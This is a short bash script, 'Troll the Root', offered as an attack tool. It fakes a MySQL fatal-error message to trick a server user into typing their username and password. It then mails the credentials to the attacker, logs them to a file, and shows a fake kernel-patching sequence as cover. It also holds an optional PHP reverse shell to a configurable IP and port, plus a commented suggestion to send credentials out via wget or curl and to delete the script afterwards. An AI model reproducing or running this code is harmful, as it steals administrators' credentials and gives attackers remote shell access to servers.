troll the root

#!/bin/bash
# Troll the Root 0.1
# thebreach3r :)
# This program is free software: distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
#Configuration
email=$1
#Change this to 1 if you wanna run a revershe shell
REVERSESHELL_use=0
REVERSESHELL_ip="122.122.122.122"
REVERSESHELL_port=9999
#-------------------------------------------
#Feel free to change the messages , it just need to be legit !
Message1="PHP: Thread/process 2620/3077437120 failed: Thread died in MySQL\n
error: db3 error(-30974) from dbenv->failchk: DB_RUNRECOVERY: Fatal error, run database recovery\n
error: cannot open Packages index using db3 -  (-30974)\n
error: cannot open Packages database in /var/mysql\n
CRITICAL:mysql.recovery:\n

Error: recovery failed\n"
Message2="\n[+]Downloading the kernel patch...\n"
Message3="\n[+]Patching...\n"
Message4="[+]The kernel was successfully patched ...\n"
PatchUrl="http://www.kernel.org/pub/linux/kernel/projects/rt/2.6.26/patch-2.6.26.8-rt16.gz"

echo -ne $Message1
echo -ne Please, enter your $(hostname) username:
        read username
read -s -p "Enter your Password: " password
echo -ne $Message2
#if /bin/mail isn't implemented on the server (improbable) you can use a wget or curl to a php script that will take those credentials
#smthng like www.yourwebsite.com/get.php?username=$username&passwd=$$username
mail -s "w00t - The damage at $(hostname) has been done, enjoy r00t ->username:$username , password:$password" $email
echo " ----------------------" >> troll.txt
echo "|Troll the Root Results|" >> troll.txt
echo " ----------------------" >> troll.txt
echo "Username: $username" >> troll.txt
echo 'with' >> troll.txt
echo "Password: $password" >> troll.txt
echo '' >> troll.txt
echo "Enjoy being r00t!" >> troll.txt 2. /dev/null
wget $PatchUrl
echo -ne $Message3
sleep 10
echo -ne $Message4
if [ $REVERSESHELL_use -eq 1 ]; then
#Feel free to change this backconnect script to your favorite
php -r '$sock=fsockopen("$REVERSESHELL_ip",$REVERSESHELL_port);exec("/bin/sh -i <&3 >&3 2>&3");'
mail -s "$(hostname) Successful Reverse Shell" $email
fi;
#unComment the last line if you wanna remove the script from the server
#rm -f $0